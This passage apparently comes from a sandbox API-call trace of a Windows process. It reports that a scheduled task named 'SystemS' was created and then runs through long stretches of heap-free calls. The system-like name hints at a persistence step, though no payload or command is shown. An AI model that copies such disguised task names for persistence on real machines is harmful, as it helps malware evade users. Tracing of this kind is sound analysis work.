_Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xed002acaf8 | out: _Buffer="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n") returned 69 [0130.150] __iob_func () returned 0x7ffa7941e210 [0130.150] _fileno (_File=0x7ffa7941e240) returned -2 [0130.150] _errno () returned 0x2a3f47f0840 [0130.150] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0130.150] RtlRestoreLastWin32Error () returned 0xed0047b000 [0130.150] lstrlenW (lpString="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n") returned 69 [0130.150] GetConsoleOutputCP () returned 0x0 [0130.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0130.150] GetConsoleOutputCP () returned 0x0 [0130.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SystemS\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0130.150] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0130.151] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0130.151] IUnknown:Release (This=0x2a3f47f6fd0) returned 0x0 [0130.151] TaskScheduler:IUnknown:Release (This=0x2a3f47f5920) returned 0x0 [0130.151] TaskScheduler:IUnknown:Release (This=0x2a3f47f58a0) returned 0x0 [0130.151] TaskScheduler:IUnknown:Release (This=0x2a3f47f5720) returned 0x0 [0130.151] lstrlenW (lpString="") returned 0 [0130.151] lstrlenW (lpString="14") returned 2 [0130.151] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0130.151] GetProcessHeap () returned 0x2a3f45b0000 [0130.151] GetProcessHeap () returned 0x2a3f45b0000 [0130.151] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45babf0) returned 1 [0130.151] GetProcessHeap () returned 0x2a3f45b0000 [0130.151] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45babf0) returned 0x1fc [0130.152] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45babf0) returned 1 [0130.152] GetProcessHeap () returned 0x2a3f45b0000 [0130.152] GetProcessHeap () returned 0x2a3f45b0000 [0130.152] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4a60) returned 1 [0130.152] GetProcessHeap () returned 0x2a3f45b0000 [0130.152] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4a60) returned 0x6 [0130.152] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4a60) returned 1 [0130.152] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bab70) returned 1 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bab70) returned 0x16 [0130.153] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bab70) returned 1 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba910) returned 1 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba910) returned 0x18 [0130.153] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba910) returned 1 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb710) returned 1 [0130.153] GetProcessHeap () returned 0x2a3f45b0000 [0130.153] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb710) returned 0x20 [0130.154] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb710) returned 1 [0130.154] GetProcessHeap () returned 0x2a3f45b0000 [0130.154] GetProcessHeap () returned 0x2a3f45b0000 [0130.154] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4290) returned 1 [0130.154] GetProcessHeap () returned 0x2a3f45b0000 [0130.154] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4290) returned 0xa0 [0130.155] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4290) returned 1 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b2120) returned 1 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b2120) returned 0x18 [0130.155] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b2120) returned 1 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb560) returned 1 [0130.155] GetProcessHeap () returned 0x2a3f45b0000 [0130.155] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb560) returned 0x20 [0130.156] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb560) returned 1 [0130.156] GetProcessHeap () returned 0x2a3f45b0000 [0130.156] GetProcessHeap () returned 0x2a3f45b0000 [0130.156] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3b60) returned 1 [0130.156] GetProcessHeap () returned 0x2a3f45b0000 [0130.156] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3b60) returned 0x62 [0130.156] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3b60) returned 1 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba950) returned 1 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba950) returned 0x18 [0130.157] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba950) returned 1 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb800) returned 1 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.157] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb800) returned 0x20 [0130.157] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb800) returned 1 [0130.157] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3be0) returned 1 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3be0) returned 0x64 [0130.158] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3be0) returned 1 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba930) returned 1 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba930) returned 0x18 [0130.158] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba930) returned 1 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8d70) returned 1 [0130.158] GetProcessHeap () returned 0x2a3f45b0000 [0130.158] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8d70) returned 0x20 [0130.159] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8d70) returned 1 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45babb0) returned 1 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45babb0) returned 0xe [0130.159] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45babb0) returned 1 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba9f0) returned 1 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba9f0) returned 0x18 [0130.159] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba9f0) returned 1 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] GetProcessHeap () returned 0x2a3f45b0000 [0130.159] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8d10) returned 1 [0130.160] GetProcessHeap () returned 0x2a3f45b0000 [0130.160] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8d10) returned 0x20 [0130.160] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8d10) returned 1 [0130.160] GetProcessHeap () returned 0x2a3f45b0000 [0130.160] GetProcessHeap () returned 0x2a3f45b0000 [0130.160] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b96e0) returned 1 [0130.160] GetProcessHeap () returned 0x2a3f45b0000 [0130.160] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b96e0) returned 0x208 [0130.161] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b96e0) returned 1 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4850) returned 1 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4850) returned 0x18 [0130.161] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4850) returned 1 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8cb0) returned 1 [0130.161] GetProcessHeap () returned 0x2a3f45b0000 [0130.161] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8cb0) returned 0x20 [0130.162] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8cb0) returned 1 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bbab0) returned 1 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bbab0) returned 0x200 [0130.162] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bbab0) returned 1 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4740) returned 1 [0130.162] GetProcessHeap () returned 0x2a3f45b0000 [0130.162] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4740) returned 0x18 [0130.162] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4740) returned 1 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8b30) returned 1 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8b30) returned 0x20 [0130.163] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8b30) returned 1 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3940) returned 1 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3940) returned 0x14 [0130.163] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3940) returned 1 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] GetProcessHeap () returned 0x2a3f45b0000 [0130.163] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3920) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3920) returned 0x18 [0130.164] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3920) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8a70) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8a70) returned 0x20 [0130.164] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8a70) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3960) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.164] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3960) returned 0x16 [0130.164] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3960) returned 1 [0130.164] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4380) returned 1 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4380) returned 0x18 [0130.165] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4380) returned 1 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b8c50) returned 1 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b8c50) returned 0x20 [0130.165] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b8c50) returned 1 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4aa0) returned 1 [0130.165] GetProcessHeap () returned 0x2a3f45b0000 [0130.165] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4aa0) returned 0x2 [0130.165] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4aa0) returned 1 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4410) returned 1 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4410) returned 0x20 [0130.166] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4410) returned 1 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4460) returned 1 [0130.166] GetProcessHeap () returned 0x2a3f45b0000 [0130.166] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4460) returned 0x20 [0130.167] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4460) returned 1 [0130.167] GetProcessHeap () returned 0x2a3f45b0000 [0130.167] GetProcessHeap () returned 0x2a3f45b0000 [0130.167] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4490) returned 1 [0130.167] GetProcessHeap () returned 0x2a3f45b0000 [0130.167] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4490) returned 0x20 [0130.168] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4490) returned 1 [0130.168] GetProcessHeap () returned 0x2a3f45b0000 [0130.168] GetProcessHeap () returned 0x2a3f45b0000 [0130.168] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4000) returned 1 [0130.168] GetProcessHeap () returned 0x2a3f45b0000 [0130.168] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4000) returned 0x20 [0130.168] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4000) returned 1 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb980) returned 1 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb980) returned 0x20 [0130.169] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb980) returned 1 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba8d0) returned 1 [0130.169] GetProcessHeap () returned 0x2a3f45b0000 [0130.169] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba8d0) returned 0xa [0130.170] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba8d0) returned 1 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb740) returned 1 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb740) returned 0x20 [0130.170] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb740) returned 1 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b4340) returned 1 [0130.170] GetProcessHeap () returned 0x2a3f45b0000 [0130.170] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b4340) returned 0x30 [0130.171] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b4340) returned 1 [0130.171] GetProcessHeap () returned 0x2a3f45b0000 [0130.171] GetProcessHeap () returned 0x2a3f45b0000 [0130.171] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb6b0) returned 1 [0130.171] GetProcessHeap () returned 0x2a3f45b0000 [0130.171] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb6b0) returned 0x20 [0130.172] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb6b0) returned 1 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3c50) returned 1 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3c50) returned 0x30 [0130.172] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3c50) returned 1 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb770) returned 1 [0130.172] GetProcessHeap () returned 0x2a3f45b0000 [0130.172] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb770) returned 0x20 [0130.173] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb770) returned 1 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45baaf0) returned 1 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45baaf0) returned 0x10 [0130.173] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45baaf0) returned 1 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb410) returned 1 [0130.173] GetProcessHeap () returned 0x2a3f45b0000 [0130.173] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb410) returned 0x20 [0130.174] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb410) returned 1 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45baa30) returned 1 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45baa30) returned 0x10 [0130.174] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45baa30) returned 1 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb2f0) returned 1 [0130.174] GetProcessHeap () returned 0x2a3f45b0000 [0130.174] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb2f0) returned 0x20 [0130.175] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb2f0) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45baa10) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45baa10) returned 0xe [0130.175] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45baa10) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb860) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb860) returned 0x20 [0130.175] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb860) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.175] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba830) returned 1 [0130.175] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba830) returned 0x16 [0130.176] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba830) returned 1 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb950) returned 1 [0130.176] GetProcessHeap () returned 0x2a3f45b0000 [0130.176] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb950) returned 0x20 [0130.176] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb950) returned 1 [0130.176] 